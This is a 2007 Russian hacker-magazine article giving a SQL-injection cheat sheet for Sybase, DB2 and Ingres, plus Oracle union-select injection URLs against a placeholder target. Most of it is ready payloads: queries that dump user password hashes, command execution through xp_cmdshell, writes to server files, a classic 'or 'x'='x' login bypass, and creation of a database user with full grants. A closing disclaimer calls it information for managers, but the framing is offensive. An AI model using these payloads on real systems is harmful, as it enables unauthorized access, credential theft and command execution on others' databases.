Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #105, СЕНТЯБРЬ 2007 г.

Разрушая базы

Евгений «Corwin» Ермаков

Хакер, номер #105, стр. 082

(ermakov@gameland.ru)

Внедряем SQL в DB2, Sybase и Ingres

Как ни странно, но практически каждый месяц в рунете появляются все новые и новые мануалы по SQL-injection. И все они, «как полагается», посвящены инъекциям в MySQL. Чтобы наконец-таки положить этому конец, была написана первая часть статьи «Разрушая базы», в который были рассмотрены инъекции в PostgreSQL и Oracle, ну а сейчас ты видишь перед собой ее продолжение, и теперь мы будем внедрять SQL в еще более экзотические системы управления базами данных: DB2, Sybase и Ingres. Если ты думаешь, что эти СУБД не встречаются во Всемирной паутине, то сильно ошибаешься.

История

Прежде чем углубляться описание особенностей инъекций в названные СУБД, следует сказать несколько слов о том, что они вообще собой представляют, и об их истории, поскольку я не исключаю того обстоятельства, что ты мог вообще никогда не слышать о DB2, Ingres, Sybase. Заглянем в Вики.

Sybase

Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта, несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключалось в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушла с UNIX и целиком сконцентрировалась на платформе Windows NT. В настоящее время Sybase продолжает поддерживать и развивать версии для семейства Windows и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие).

IBM DB2

DB2 имеет долгую историю и, как некоторые считают, стала первой СУБД, использующей SQL. СУБД получила название DB2 в 1982 году, когда был выпущен ее релиз, а также SQL/DS, для мэйнфреймов. С 1978 года до этого момента продукт называется System Relational, или System R.

История этой СУБД уходит корнями в начало 70-х, когда доктор Э.Ф. Кодд, работавший на IBM, создал теорию реляционных баз данных, в июне 1970 года опубликовав модель манипуляции данными. Для реализации этой модели он разработал язык реляционных баз данных и назвал его Alpha. IBM же предпочла поручить дальнейшую работу группе программистов, неподконтрольной доктору Кодду. Нарушив некоторые принципы реляционной модели, они реализовали ее как «Структурированный английский язык запросов», сокращенно SEQUEL. Поскольку торговая марка SEQUEL уже была зарегистрирована, название сократили до SQL - «Структурированный язык запросов», таким оно осталось и по сей день.

Ingres

Проект и экспериментальный вариант СУБД Ingres были разработаны в университете Беркли под руководством одного из наиболее известных в мире ученых и специалистов в области баз данных Майкла Стоунбрейкера (Michael Stonebraker). С самого начала СУБД Ingres создавалась как мобильная система, функционирующая в среде ОС UNIX. Первая версия Ingres была рассчитана на 16-разрядные компьютеры и работала главным образом на машинах серии PDP. Это была первая СУБД, распространяемая бесплатно для использования в университетах. Впоследствии группа Стоунбрейкера перенесла Ingres в среду ОС UNIX BSD, которая также была разработана в университете Беркли. Семейство СУБД Ingres из университета Беркли принято называть «университетской Ingres».

В настоящее время коммерческая Ingres поддерживается, развивается и продается компанией Computer Associates. Сейчас это одна из развитых коммерческих реляционных СУБД.

Ingres - это очень быстрая СУБД, и ее выбирают те, для кого главным фактором является скорость работы, выполнения запросов.

SQL-injection в Sybase

Вот мы и добрались до самого интересного. Сейчас я поведаю тебе, как укротить Sybase мощными SQL-инъекциями.

  1. Смотрим версию Sybase:

select @@version

  1. Конкатенация осуществляется с помощью плюса:

string1 + string2

  1. Запись в файл:

create table myfile (record varchar(2000)) external file at "c:\temp\file.txt" insert into myfile values(0xYOU_BINARY_DATA)"

  1. Запись в файл через xp_cmdshell:

declare @cmd varchar(255) select @cmd='echo blablabla >> c:\file.txt'

exec xp_cmdshell @cmd

  1. Получаем хэш пароля юзера:

select name,password,* from syslogins where name like 'GA0%'

  1. Так как Sybase и MSSQL - довольно похожие системы, то и синтаксис некоторых команд во многом схож. К примеру, выполнение команд в Sybase:

xp_cmdshell 'command'

Sql-injection в DB2

А теперь запоминаем несколько фишек, применимых к DB2:

  1. Отбросить ненужный запрос можно, использовав комментарий: «--».
  2. Узнаем названия таблиц:

select name from sysibm.systables;

or

select tabnema from syscat.tables;

  1. Смотрим имена колонок:

select name, tbname, coltype from sysibm.syscolumns;

  1. Смотрим название базы данных:

select current server from sysibm.sysdummy1;

  1. Имя текущего пользователя БД:

select user from sysibm.sysdummy1;

select session_user from sysibm.sysdummy1;

  1. Версия базы данных:

select versionnumber, version_timestamp from sysibm.sysversions;

  1. Для объединения используется символ конкатенации (||) или оператор concat:

select 'x'||'a'

or

select 'x' concat 'a'

  1. Смотрим пользователей и их пароли:

select username, password from dba_users;

  1. Узнаем, к какой базе мы подключены в данный момент:

select current server from sysibm.sysdummy1;

  1. Фильтрация обходится, как и в PostgreSQL, использованием функции CHR().

В качестве напоминания скажу, что если ошибка присутствует при авторизации, то тут все стандартно. Допустим, к БД отсылается такой запрос:

select adress from users where user='admin' and pass='secretpass'

Видим, что истинным паролем является secretpass, что не имеет для нас значения :).

Добавляем небольшую строку от себя, введя в поле пароля следующее:

blablabla' or 'x'='x

Теперь запрос принимает следующий вид:

select adress from users where user='admin' and pass='blablabla' or 'x'='x

Условие «правильный_пароль ИЛИ символ_'x' == символу_'x'» истинно, и авторизация успешно надломана.

Еще не конец

Когда я уже собирался сдавать материал, мне на мыло отписал мой заграничный приятель, который знал, о чем я пишу статью, и скинул мне свои наработки по инъекциям в Ingres, о которых я лишь пару раз слышал (за что ему биг респект).

Sql-injection в Ingres

  1. Комментарии аналогичны комментариям в PostgreSQL: «--» и «/**/».
  2. Таблицы и их владельцев узнать достаточно просто:

select table_name, table_owner from iitables;

select relid, relowner, relloc from iirelation;

select relid, relowner, relloc from iirelation where relowner != '$ingres';

  1. Также просто выуживаем колонки:

select column_name, column_datatype, table_name, table_owner from iicolumns;

  1. Узнаем текущего пользователя:

select dbmsinfo('session_user');

  1. Объединение (конкатенация) стандартная - символ «||».
  2. Название используемой базы данных:

select dbmsinfo('database');

  1. Узнаем версию СУБД:

select dbmsinfo('_version');

  1. Пользователи БД и их пароли:

select name, password from iiuser;

  1. Смотрим различные привилегии:

select dbmsinfo(’db_privileges’);

select dbmsinfo(’security_priv’);

select dbmsinfo(’current_priv_mask’);

select dbmsinfo(’db_admin’);

select dbmsinfo(’create_table’);

select dbmsinfo(’create_procedure’);

select dbmsinfo(’select_syscat’);

  1. Функция SUBSTR() аналогична функции SUBSTRING() из MySQL.

SUBSTR (str,pos,len) - возвращает подстроку длиной len символов из строки str, начиная от позиции pos.

  1. Вряд ли хватит прав, но можно попробовать создать юзера БД:

create user pm with password = ‘password’;

grant all on current installation to pm;

Занимательные вторжения в Oracle

В качестве бонуса публикую часть недокументированных особенностей Oracle, которыми можно запросто вызвать занятные SQL-инъекции:

1. Просмотреть названия таблиц можно с помощью таблицы sys.all_tables или user_tables(sys.user_tables).

Запросы

http://target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from sys.all_tables--

http://target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from user_tables--

Вывод

В обоих случаях - страница сайта с названием таблицы ARTICLEINFO.

2. Названия колонок находятся в таблице user_tab_columns(sys.user_tab_columns).

Запрос

http://target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from user_tab_columns--

Вывод

Страница сайта с названием колонки AC.

3. Узнать версию Оракла достаточно просто.

Запрос

http://target/release.cfm?ArticleID=-1 union select 1,banner,null,null,null from v$version--

Вывод

CORE 9.2.0.7.0 Production

WWW

  • Официальные сайты СУБД содержат много полезной информации по синтаксису, поэтому не жди, пока в качестве ответа на свой вопрос ты получишь «RTFM».
  • Документация по DB2 на официальном портале непрактична и вряд ли сможет помочь, поэтому посещай сторонние ресурсы.
  • http://sybooks.sybase.com/nav/base.do - официальный сайт документации Sybase.

INFO

Не стоит воспринимать представленную в статье информацию как призыв к атаке. Она предназначена для руководителей компаний, которые считают, что атакам подвержены только известные СУБД.

Советую прочесть первую часть статьи «Разрушая базы». Статья была полностью переписана и дополнена. Можно найти ее на форуме http://0x48k.cc или прочесть первоначальный вариант в одном из предыдущих номеров ][.

DVD

На диске находится полный архив документации по Ingres, а также сами системы Ingres и DB2.

Содержание